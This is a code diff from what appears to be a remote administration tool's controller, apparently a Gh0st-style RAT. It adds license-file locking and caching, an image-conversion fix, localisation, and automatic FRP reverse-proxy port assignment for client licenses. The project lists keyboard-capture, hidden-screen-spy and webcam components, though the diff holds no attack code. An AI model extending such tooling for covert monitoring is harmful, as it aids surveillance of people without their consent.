<Image Include="res\Bitmap\DxgiDesktop.bmp" />
<Image Include="res\Bitmap\EditGroup.bmp" />
@@ -562,11 +567,13 @@
<Image Include="res\Bitmap\Settings.bmp" />
<Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap\Show.bmp" />
<Image Include="res\Bitmap\Snapshot.bmp" />
<Image Include="res\Bitmap\Shutdown.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" />
<Image Include="res\bitmap\uncompress.bmp" />
<Image Include="res\Bitmap\update.bmp" />
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" />
@@ -589,6 +596,7 @@
<Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" />
<Image Include="res\screen.ico" />
<Image Include="res\Snapshot.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
@@ -599,6 +607,11 @@
<Image Include="res\update.bmp" />
<Image Include="res\webcam.ico" />
</ItemGroup>
<ItemGroup>
<None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>

View File

@@ -19,6 +19,7 @@
<ClCompile Include="FileTransferModeDlg.cpp" />
<ClCompile Include="HideScreenSpyDlg.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="ZstaPickerDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="Loader.c" />
@@ -107,6 +108,7 @@
<ClInclude Include="FileTransferModeDlg.h" />
<ClInclude Include="HideScreenSpyDlg.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="ZstaPickerDlg.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="proxy\HPSocket.h" />
@@ -212,6 +214,7 @@
<Image Include="res\password.ico" />
<Image Include="res\proxifler.ico" />
<Image Include="res\screen.ico" />
<Image Include="res\Snapshot.ico" />
<Image Include="res\system.ico" />
<Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" />
@@ -245,6 +248,7 @@
<Image Include="res\Bitmap\Logout.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\Show.bmp" />
<Image Include="res\Bitmap\Snapshot.bmp" />
<Image Include="res\Bitmap\Exit.bmp" />
<Image Include="res\Bitmap\Settings.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" />
@@ -273,6 +277,9 @@
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\bitmap\bitmap9.bmp" />
<Image Include="res\bitmap\compress.bmp" />
<Image Include="res\bitmap\uncompress.bmp" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />
@@ -329,6 +336,7 @@
<None Include="lang\zh_TW.ini" />
<None Include="res\3rd\TerminalModule_x64.dll" />
<None Include="..\..\macos\ghost" />
<None Include="..\web\index.html" />
</ItemGroup>
<ItemGroup>
<Text Include="..\..\ReadMe.md" />
@@ -338,4 +346,9 @@
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" />
</ItemGroup>
</Project>

View File

@@ -284,13 +284,13 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
return false;
}
// 复制数据注意DIB 是底部到顶部,需要翻转)
// 输入已为 top-down 的紧凑 BGR24调用方已通过 Process24BitBmp /
// ConvertScreenshot32to24 完成翻转与去对齐),此处直接按行拷贝即可
BYTE* srcData = (BYTE*)lpBuffer;
BYTE* dstData = (BYTE*)bitmapData.Scan0;
for (int y = 0; y < height; y++) {
// DIB 是从底部开始的,所以需要翻转
BYTE* srcRow = srcData + (height - 1 - y) * rowSize;
BYTE* srcRow = srcData + y * rowSize;
BYTE* dstRow = dstData + y * bitmapData.Stride;
memcpy(dstRow, srcRow, width * 3);
}

View File

@@ -1,6 +1,7 @@
#pragma once
#include <Vfw.h>
#pragma comment(lib,"Vfw32.lib")
#include "LangManager.h"
#define ERR_INVALID_PARAM 1
#define ERR_NO_ENCODER 2
@@ -30,13 +31,13 @@ public:
{
switch (result) {
case ERR_INVALID_PARAM:
return ("无效参数");
return _L("无效参数").GetString();
case ERR_NOT_SUPPORT:
return ("不支持的位深度需要24位或32位");
return _L("不支持的位深度需要24位或32位").GetString();
case ERR_NO_ENCODER:
return ("未安装x264编解码器 \n下载地址https://sourceforge.net/projects/x264vfw");
return _L("未安装x264编解码器 \n下载地址https://sourceforge.net/projects/x264vfw").GetString();
case ERR_INTERNAL:
return("创建AVI文件失败");
return _L("创建AVI文件失败").GetString();
default:
return "succeed";
}

View File

@@ -10,6 +10,8 @@
#include "2015RemoteDlg.h"
#include "InputDlg.h"
#include "IPHistoryDlg.h"
#include "FrpsForSubDlg.h"
#include "pwd_gen.h"
#include <algorithm>
// CLicenseDlg 对话框
@@ -42,14 +44,24 @@ BEGIN_MESSAGE_MAP(CLicenseDlg, CDialogEx)
ON_COMMAND(ID_LICENSE_EDIT_REMARK, &CLicenseDlg::OnLicenseEditRemark)
ON_COMMAND(ID_LICENSE_VIEW_IPS, &CLicenseDlg::OnLicenseViewIPs)
ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
ON_COMMAND(ID_LICENSE_AUTO_FRP, &CLicenseDlg::OnLicenseAutoFrp)
ON_COMMAND(ID_LICENSE_REVOKE_FRP, &CLicenseDlg::OnLicenseRevokeFrp)
END_MESSAGE_MAP()
// 前向声明实现位于本文件后段Auto FRP 相关工具)
static int ParseRemotePortFromFrpConfig(const std::string& frpConfig);
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner);
// 获取所有授权信息
std::vector<LicenseInfo> GetAllLicenses()
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::vector<LicenseInfo> licenses;
std::string iniPath = GetLicensesPath();
// 注意CIniParser 走 ifstream 读取整文件,与 WritePrivateProfileString 的内核锁
// 不在同一域。必须靠这里的 g_licensesIniMutex 阻止与其它写入交错,否则可能读到
// 写入到一半的中间态。
CIniParser parser;
if (!parser.LoadFile(iniPath.c_str()))
return licenses;
@@ -298,6 +310,7 @@ void CLicenseDlg::OnSize(UINT nType, int cx, int cy)
// 更新授权状态
bool SetLicenseStatus(const std::string& deviceID, const std::string& status)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -331,6 +344,15 @@ void CLicenseDlg::OnNMRClickLicenseList(NMHDR* pNMHDR, LRESULT* pResult)
const auto& lic = m_Licenses[nIndex];
menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
menu.AppendMenuL(MF_STRING, ID_LICENSE_AUTO_FRP, _T("自动FRP(&F)..."));
// 仅当该授权已分配 FRPC 端口时,才显示"撤销FRP"
{
std::string existingFrp = LoadLicenseFrpConfig(lic.SerialNumber);
if (ParseRemotePortFromFrpConfig(existingFrp) > 0) {
menu.AppendMenuL(MF_STRING, ID_LICENSE_REVOKE_FRP, _T("撤销FRP(&U)"));
}
}
// 只有当有 IP 记录时才显示查看 IP 历史选项
int ipCount = GetIPCountFromList(lic.IP);
@@ -440,6 +462,7 @@ int ParseHostNumFromPasscode(const std::string& passcode)
// 设置待续期信息
bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -458,6 +481,7 @@ bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDat
// 获取待续期信息
RenewalInfo GetPendingRenewal(const std::string& deviceID)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
RenewalInfo info;
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -471,6 +495,7 @@ RenewalInfo GetPendingRenewal(const std::string& deviceID)
// 清除待续期信息
bool ClearPendingRenewal(const std::string& deviceID)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -481,8 +506,11 @@ bool ClearPendingRenewal(const std::string& deviceID)
}
// 配额递减,返回是否还有剩余配额
// 关键read-modify-write 的 PendingQuota 必须在锁内完成,否则与 SetPendingRenewal
// 并发会丢失用户刚设置的预设续期(旧 bug用户报告"预设续期消失"的根因)。
bool DecrementPendingQuota(const std::string& deviceID)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -495,7 +523,7 @@ bool DecrementPendingQuota(const std::string& deviceID)
cfg.SetInt(deviceID, "PendingQuota", quota);
if (quota <= 0) {
// 配额用完,清除待续期信息
// 配额用完,清除待续期信息嵌套加锁recursive_mutex 安全)
ClearPendingRenewal(deviceID);
return false;
}
@@ -599,6 +627,7 @@ void CLicenseDlg::OnLicenseRenewal()
// 设置授权备注
bool SetLicenseRemark(const std::string& deviceID, const std::string& remark)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -642,6 +671,7 @@ void CLicenseDlg::OnLicenseEditRemark()
// 删除授权
bool DeleteLicense(const std::string& deviceID)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -651,9 +681,21 @@ bool DeleteLicense(const std::string& deviceID)
return false; // 授权不存在
}
// 若该授权占用了 FRP 端口,先释放 frp_ports.ini 中的占用记录,
// 否则端口会一直被这个已不存在的 SN "挂账",导致端口池逐步耗尽。
std::string frpConfig = cfg.GetStr(deviceID, "FrpConfig", "");
int allocatedPort = ParseRemotePortFromFrpConfig(frpConfig);
if (allocatedPort > 0) {
FreeFrpPortAllocation(allocatedPort, deviceID);
}
// 删除该 section (通过写入 NULL 删除整个 section)
BOOL ret = ::WritePrivateProfileStringA(deviceID.c_str(), NULL, NULL, iniPath.c_str());
::WritePrivateProfileStringA(NULL, NULL, NULL, iniPath.c_str()); // 刷新缓存
// 关键:清掉 UpdateLicenseActivity 的内存缓存。否则若同 SN 客户端再次连上来,
// cache 命中会跳过落盘 → disk 永远不会重建被删的 section。
InvalidateLicenseActivityCache(deviceID);
return ret != FALSE;
}
@@ -835,12 +877,17 @@ void CLicenseDlg::OnLicenseViewIPs()
// 如果有记录被删除,保存更新后的 IP 列表
if (removedCount > 0) {
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
cfg.SetStr(lic.SerialNumber, "IP", newIPList);
lic.IP = newIPList; // 更新内存中的数据
// 锁内只做 I/O —— UI 控件更新SetItemText放锁外避免锁内触发
// 任何可能的消息循环回调,保持锁占用时间最短
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
cfg.SetStr(lic.SerialNumber, "IP", newIPList);
}
lic.IP = newIPList; // 更新内存中的数据(与 m_Licenses 同步,不需要锁)
// 更新列表显示
// 更新列表显示UI 线程操作,必须在锁外)
CString strIPDisplay = FormatIPDisplay(newIPList).c_str();
m_ListLicense.SetItemText(nItem, LIC_COL_IP, strIPDisplay);
}
@@ -960,6 +1007,9 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
{
if (ip.empty()) return false;
// 加锁保护整个 list 遍历,避免与并发的 SetStr(IP, ...) 交错读到中间态。
// GetAllLicenses 内部也加锁recursive_mutex 允许嵌套。
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
auto licenses = GetAllLicenses();
for (const auto& lic : licenses) {
if (lic.IP.empty()) continue;
@@ -1010,3 +1060,195 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
}
return false;
}
// 从 FrpConfig 字符串解析 remotePort
// 格式: "serverAddr:serverPort-remotePort-expireDate-authValue"
// 注意serverAddr 可能是含 '-' 的域名(如 my-server.com必须从右往左定位
// 与 CMy2015RemoteDlg::ParseFrpAutoConfig 的拆分策略一致。
static int ParseRemotePortFromFrpConfig(const std::string& frpConfig)
{
if (frpConfig.empty()) return 0;
// 倒数第 1 个 '-':分隔 expireDate 与 authValue
size_t dashAuth = frpConfig.rfind('-');
if (dashAuth == std::string::npos || dashAuth == 0) return 0;
std::string s2 = frpConfig.substr(0, dashAuth);
// 倒数第 2 个 '-':分隔 remotePort 与 expireDate
size_t dashExpire = s2.rfind('-');
if (dashExpire == std::string::npos || dashExpire == 0) return 0;
std::string s3 = s2.substr(0, dashExpire);
// 倒数第 3 个 '-':分隔 serverAddr:serverPort 与 remotePort
size_t dashPort = s3.rfind('-');
if (dashPort == std::string::npos || dashPort == 0) return 0;
return atoi(s3.substr(dashPort + 1).c_str());
}
// 释放 frp_ports.ini 中指定端口的占用记录。
// 必须传入 expectedOwner —— 仅当端口当前的归属确实是它时才清除,
// 避免在 race 或外部改动后误抹掉别的 SN 的占用记录。
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner)
{
if (port <= 0 || expectedOwner.empty()) return false;
config portsCfg(CFrpsForSubDlg::GetFrpPortsPath());
char portStr[16];
sprintf_s(portStr, "%d", port);
std::string currentOwner = portsCfg.GetStr("ports", portStr, "");
if (currentOwner != expectedOwner) {
// 已被改写或释放,不动它
return false;
}
portsCfg.SetStr("ports", portStr, ""); // 写入空 ownerFindNextAvailablePort 将其视为可用
return true;
}
void CLicenseDlg::OnLicenseAutoFrp()
{
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
if (nItem < 0)
return;
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
if (nIndex >= m_Licenses.size())
return;
const auto& lic = m_Licenses[nIndex];
// 1. 前提条件FRPS 服务器必须已在「下级 FRP 代理设置」中配置并启用
if (!CFrpsForSubDlg::IsFrpsConfigured()) {
MessageBoxL("请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token然后再使用此功能。",
"未配置 FRPS", MB_OK | MB_ICONINFORMATION);
return;
}
// 2. 读取该授权当前的 FRP 配置(若已分配端口)
std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
// 已分配端口时,先询问是否覆盖
if (existingPort > 0) {
CString msg;
msg.FormatL("该授权已分配 FRPC 远程端口 %d是否覆盖并重新设置",
existingPort);
if (MessageBox(msg, _TR("覆盖 FRPC 配置"),
MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
return;
}
}
// 3. 决定默认端口:已有端口则沿用,否则查找下一个可用端口
int defaultPort = existingPort;
if (defaultPort <= 0) {
defaultPort = CFrpsForSubDlg::FindNextAvailablePort();
if (defaultPort <= 0) {
MessageBoxL("FRPS 端口范围已满,无法自动分配,请扩大「下级 FRP 代理设置」中的端口范围。",
"端口已满", MB_OK | MB_ICONWARNING);
return;
}
}
// 4. 弹出输入对话框,允许用户确认或修改端口
CInputDialog dlg(this);
CString strTitle;
strTitle.FormatL("自动 FRP - %s", lic.SerialNumber.c_str());
dlg.Init(strTitle, _L("FRPC 远程端口 (1024-65535):"));
CString strDefault;
strDefault.Format(_T("%d"), defaultPort);
dlg.m_str = strDefault;
if (dlg.DoModal() != IDOK)
return;
int remotePort = _ttoi(dlg.m_str);
if (remotePort < 1024 || remotePort > 65535) {
MessageBoxL("FRP 远程端口无效1024-65535", "提示", MB_OK | MB_ICONWARNING);
return;
}
// 5. 端口冲突检测:若端口已被其它序列号占用则拒绝
std::string portOwner = CFrpsForSubDlg::GetPortOwner(remotePort);
if (!portOwner.empty() && portOwner != lic.SerialNumber) {
CString msg;
msg.FormatL("端口 %d 已被序列号 %s 占用,请选择其它端口。",
remotePort, portOwner.c_str());
MessageBox(msg, _TR("端口冲突"), MB_OK | MB_ICONWARNING);
return;
}
// 6. 先生成 FRP 配置串(失败则直接返回,不动 frp_ports.ini
FrpsConfig frpsConfig = CFrpsForSubDlg::GetFrpsConfig();
// expireDate 固定 20371231由 License 自身的过期控制实际有效性)
std::string frpConfig = GenerateFrpConfig(
frpsConfig.server, frpsConfig.port, remotePort,
frpsConfig.token, "20371231", frpsConfig.authMode);
if (frpConfig.empty()) {
MessageBoxL("生成 FRP 配置失败", "错误", MB_OK | MB_ICONERROR);
return;
}
// 7. 提交端口变更(顺序:新端口 RecordPortAllocation → 释放旧端口 → 写 licenses.ini
// 顺序保证:任意一步失败都不会出现"旧端口已释放 + 新端口未占用"的真空态。
CFrpsForSubDlg::RecordPortAllocation(remotePort, lic.SerialNumber);
if (existingPort > 0 && existingPort != remotePort) {
FreeFrpPortAllocation(existingPort, lic.SerialNumber); // 仅当旧端口确实归属本 SN 时才释放
}
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
cfg.SetStr(lic.SerialNumber, "FrpConfig", frpConfig);
}
CString msg;
msg.FormatL("已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。",
lic.SerialNumber.c_str(), remotePort);
MessageBox(msg, _TR("配置成功"), MB_OK | MB_ICONINFORMATION);
}
void CLicenseDlg::OnLicenseRevokeFrp()
{
int nItem = m_ListLicense.GetNextItem(-1, LVNI_SELECTED);
if (nItem < 0)
return;
size_t nIndex = (size_t)m_ListLicense.GetItemData(nItem);
if (nIndex >= m_Licenses.size())
return;
const auto& lic = m_Licenses[nIndex];
// 读取当前 FRP 配置;若本就没有,菜单理应不显示,这里再防御一次
std::string existingFrpConfig = LoadLicenseFrpConfig(lic.SerialNumber);
int existingPort = ParseRemotePortFromFrpConfig(existingFrpConfig);
if (existingFrpConfig.empty() && existingPort <= 0) {
return;
}
// 二次确认(撤销后下级下次上线即丢失反向代理通道)
CString confirm;
confirm.FormatL("确定撤销授权 %s 的 FRP 配置吗?\n\n远程端口 %d 将被释放,下级下次上线后反向代理失效。",
lic.SerialNumber.c_str(), existingPort);
if (MessageBox(confirm, _TR("撤销 FRP 配置"),
MB_ICONQUESTION | MB_YESNO | MB_DEFBUTTON2) != IDYES) {
return;
}
// 先释放 frp_ports.ini 中的端口占用(仅当归属仍为本 SN 时才释放)。
// 顺序:先释放端口,再清 FrpConfig —— 即便后一步失败,端口也已可被复用,
// 不会留下"FrpConfig 还在但端口已挂账"的悬空状态。
if (existingPort > 0) {
FreeFrpPortAllocation(existingPort, lic.SerialNumber);
}
// 清除 licenses.ini 中该授权的 FrpConfig 字段
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
cfg.SetStr(lic.SerialNumber, "FrpConfig", "");
}
CString msg;
msg.FormatL("已撤销授权 %s 的 FRP 配置,远程端口 %d 已释放。",
lic.SerialNumber.c_str(), existingPort);
MessageBox(msg, _TR("撤销成功"), MB_OK | MB_ICONINFORMATION);
}

View File

@@ -97,6 +97,8 @@ public:
afx_msg void OnLicenseEditRemark();
afx_msg void OnLicenseViewIPs();
afx_msg void OnLicenseDelete();
afx_msg void OnLicenseAutoFrp();
afx_msg void OnLicenseRevokeFrp();
};
// 获取所有授权信息

View File

@@ -14,11 +14,65 @@
#include "InputDlg.h"
#include "FrpsForSubDlg.h"
#include "UIBranding.h"
#include <unordered_map>
#include <ctime>
// 外部函数声明
extern std::vector<std::string> splitString(const std::string& str, char delimiter);
extern std::string GetFirstMasterIP(const std::string& master);
// ---- licenses.ini 并发与写抑制基础设施 (P1) ----
// 见 CPasswordDlg.h 中 LicensesIniMutex() 注释。这里给出实例。
std::recursive_mutex& LicensesIniMutex()
{
static std::recursive_mutex m;
return m;
}
namespace {
// UpdateLicenseActivity 的写抑制缓存:仅当字段实际变化或节流过期时才落盘。
//
// ⚠️ Cache key 是 "SN|IP|machine" 三元组而非单 SN因为同一 SN 可能被多个客户端
// 共用(团购授权场景:上百台机器共用一个序列号)。若按 SN 索引,多客户端的
// (IP, machine) 会在 cache 里反复互相覆盖 → ipChanged 几乎每次都为 true →
// 写抑制完全失效(实测从 0.6 次/秒只降到 0.7 次/秒)。
//
// 5s 心跳 × 100 客户端,每客户端独立 30s 节流后 → 100/30 ≈ 3.3 次落盘/秒。
// Passcode/HMAC 是 per-SN 的,按本结构会在每个客户端的 entry 里冗余存一份,
// 续期换码时所有客户端会各自触发一次重写(写入同一新值),冗余但无害。
struct LicenseActivityCache {
time_t lastFlushTime = 0; // 上次实际落盘的 epoch 秒
std::string lastPasscode; // 上次写入 ini 的 Passcode
std::string lastHMAC; // 上次写入 ini 的 HMAC
std::string lastLocation; // 上次写入 ini 的 Location
std::string lastIPWriteDate; // 上次写 IP 列表时的日期 yyMMdd
};
// Key 格式:"SN|IP|machine"。IP/machine 可能为空ctx == null 路径),
// 此时 key 形如 "SN||" —— 该路径自成一类节流域,互不干扰。
std::unordered_map<std::string, LicenseActivityCache> g_activityCache;
// 30 秒节流窗口LastActiveTime 最多 30 秒落盘一次(即便其它字段未变)。
// UI 显示的"最后活跃"最多延迟 30 秒,业务可接受。
constexpr int LAST_ACTIVE_THROTTLE_SECONDS = 30;
}
// 由 DeleteLicense 等"在 cache 视野外修改了 disk"的路径调用,清掉某 SN 名下所有
// (IP, machine) entry强制下次 UpdateLicenseActivity 走 firstTime 路径重建 section。
// Cache key 形如 "SN|IP|machine",同一 SN 可能对应多个 entry多客户端共用授权
// 必须按前缀遍历清除。
void InvalidateLicenseActivityCache(const std::string& deviceID)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
const std::string prefix = deviceID + "|";
for (auto it = g_activityCache.begin(); it != g_activityCache.end(); ) {
if (it->first.compare(0, prefix.size(), prefix) == 0) {
it = g_activityCache.erase(it);
} else {
++it;
}
}
}
// CPasswordDlg 对话框
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
@@ -105,6 +159,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
const std::string& authorization,
const std::string& frpConfig)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -146,6 +201,7 @@ bool SaveLicenseInfo(const std::string& deviceID, const std::string& passcode,
bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
std::string& hmac, std::string& remark)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -161,6 +217,7 @@ bool LoadLicenseInfo(const std::string& deviceID, std::string& passcode,
// 加载授权的 FRP 配置
std::string LoadLicenseFrpConfig(const std::string& deviceID)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
return cfg.GetStr(deviceID, "FrpConfig", "");
@@ -169,6 +226,7 @@ std::string LoadLicenseFrpConfig(const std::string& deviceID)
// 加载授权的 Authorization用于 V2 授权返回给第一层)
std::string LoadLicenseAuthorization(const std::string& deviceID)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
return cfg.GetStr(deviceID, "Authorization", "");
@@ -177,6 +235,7 @@ std::string LoadLicenseAuthorization(const std::string& deviceID)
// 更新授权的 AuthorizationV2 续期时更新)
bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string& authorization)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
@@ -313,59 +372,115 @@ static int GetIPCount(const std::string& ipListStr)
return (int)ipList.size();
}
// 更新授权活跃信息
// 更新授权活跃信息(带写抑制)
//
// 设计要点:心跳每 5 秒触发一次本函数;同样的 SN 在稳态下绝大多数字段不会变化。
// 朴素实现每次心跳都做 6-8 次 SetStr (整文件重写)5 秒就是一轮全文件 I/O 风暴,
// 100 在线时会饱和。本实现引入 in-memory 缓存 g_activityCache
// - 字段未变化 + LastActiveTime 节流窗口30 秒)内 → 直接 return零 I/O
// - 字段变化passcode/HMAC/IP/Location 任一)→ 仅写变化字段
// - 节流过期 → 只写 LastActiveTime轻量刷新
// - IP 列表中的时间戳是日级精度yyMMdd跨天必须重写一次以刷新日期
//
// 注意:仅在落盘成功后才更新 cache保证 cache 永远反映"磁盘上当前值"。
bool UpdateLicenseActivity(const std::string& deviceID, const std::string& passcode,
const std::string& hmac, const std::string& ip,
const std::string& location, const std::string& machineName)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
// Cache key 是 (SN, IP, machine) 三元组 —— 同 SN 多客户端共用授权时各自独立节流。
// 若同 SN 不同 (ip, machine) 共用一个 cache entryIP 字段会在不同客户端间反复
// 翻转,每次心跳都判定为 ipChanged → 写抑制完全失效。
const std::string cacheKey = deviceID + "|" + ip + "|" + machineName;
auto& cache = g_activityCache[cacheKey];
time_t now = time(nullptr);
// 计算今日日期串yyMMdd用于和 IP 列表时间戳比对
SYSTEMTIME st;
GetLocalTime(&st);
char today[8];
sprintf_s(today, "%02d%02d%02d", st.wYear % 100, st.wMonth, st.wDay);
// —— 决策阶段:判断本次心跳是否真的需要落盘 ——
// 注意:因 cacheKey 已经包含 (IP, machine),不同的客户端会落到不同 entry
// 所以不再需要在字段比对中处理 IP/machine 变化 —— 那种"变化"其实是 cache miss。
const bool firstTime = (cache.lastFlushTime == 0);
const bool passcodeChanged = (passcode != cache.lastPasscode);
const bool hmacChanged = (hmac != cache.lastHMAC);
const bool ipDayChanged = !ip.empty() && !cache.lastIPWriteDate.empty() &&
std::string(today) != cache.lastIPWriteDate;
const bool locationChanged = !location.empty() && (location != cache.lastLocation);
const bool throttleExpired = (now - cache.lastFlushTime >= LAST_ACTIVE_THROTTLE_SECONDS);
if (!firstTime && !passcodeChanged && !hmacChanged
&& !ipDayChanged && !locationChanged && !throttleExpired) {
// 100% cache 命中:本客户端的所有字段都与上次落盘一致且节流未过期
return true;
}
// —— 落盘阶段:仅写真正需要写的字段 ——
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
// 检查该授权是否存在
// 检查该授权是否存在(注意:此处仍需读磁盘,因为我们不缓存"是否存在"的事实)
std::string existingPasscode = cfg.GetStr(deviceID, "Passcode", "");
if (existingPasscode.empty()) {
// 授权不存在,但验证成功了,说明是既往授权,自动添加记录
const bool isNewRecord = existingPasscode.empty();
if (isNewRecord) {
// 授权不存在但验证成功 —— 既往授权自动加入
cfg.SetStr(deviceID, "SerialNumber", deviceID);
cfg.SetStr(deviceID, "Passcode", passcode);
cfg.SetStr(deviceID, "HMAC", hmac);
cfg.SetStr(deviceID, "Remark", "既往授权自动加入");
cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE); // 新记录默认为有效
cfg.SetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
} else {
// 授权已存在,更新 passcode(续期后 passcode 会变化
cfg.SetStr(deviceID, "Passcode", passcode);
cfg.SetStr(deviceID, "HMAC", hmac);
// 已存在:只在 passcode/hmac 实际变化时才写(续期场景才会变
if (firstTime || passcodeChanged) {
cfg.SetStr(deviceID, "Passcode", passcode);
}
if (firstTime || hmacChanged) {
cfg.SetStr(deviceID, "HMAC", hmac);
}
}
// 更新最后活跃时间
SYSTEMTIME st;
GetLocalTime(&st);
// LastActiveTime走到这里就更新节流过期或字段变化都需要刷新
char timeStr[32];
sprintf_s(timeStr, "%04d-%02d-%02d %02d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
cfg.SetStr(deviceID, "LastActiveTime", timeStr);
// 如果是新添加的记录,设置创建时间
if (existingPasscode.empty()) {
if (isNewRecord) {
cfg.SetStr(deviceID, "CreateTime", timeStr);
}
// 更新 IP 列表(追加新 IP 或更新已有 IP 的时间戳
// 格式: IP(机器名)|yyMMdd
if (!ip.empty()) {
// IP 列表:本客户端首次 或 同客户端跨天 才重写UpdateIPList 会在 disk 上合并
if (!ip.empty() && (firstTime || ipDayChanged)) {
std::string existingIPList = cfg.GetStr(deviceID, "IP", "");
std::string newIPList = UpdateIPList(existingIPList, ip, machineName);
cfg.SetStr(deviceID, "IP", newIPList);
cache.lastIPWriteDate = today;
}
if (!location.empty()) {
if (!location.empty() && (firstTime || locationChanged)) {
cfg.SetStr(deviceID, "Location", location);
}
// —— 同步缓存(必须在落盘成功后)——
cache.lastFlushTime = now;
cache.lastPasscode = passcode;
cache.lastHMAC = hmac;
if (!location.empty()) {
cache.lastLocation = location;
}
return true;
}
// 检查授权是否已被撤销
bool IsLicenseRevoked(const std::string& deviceID)
{
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
std::string iniPath = GetLicensesPath();
config cfg(iniPath);
std::string status = cfg.GetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);

View File

@@ -2,10 +2,23 @@
#include <afx.h>
#include <afxwin.h>
#include <mutex>
#include "Resource.h"
#include "common/commands.h"
#include "LangManager.h"
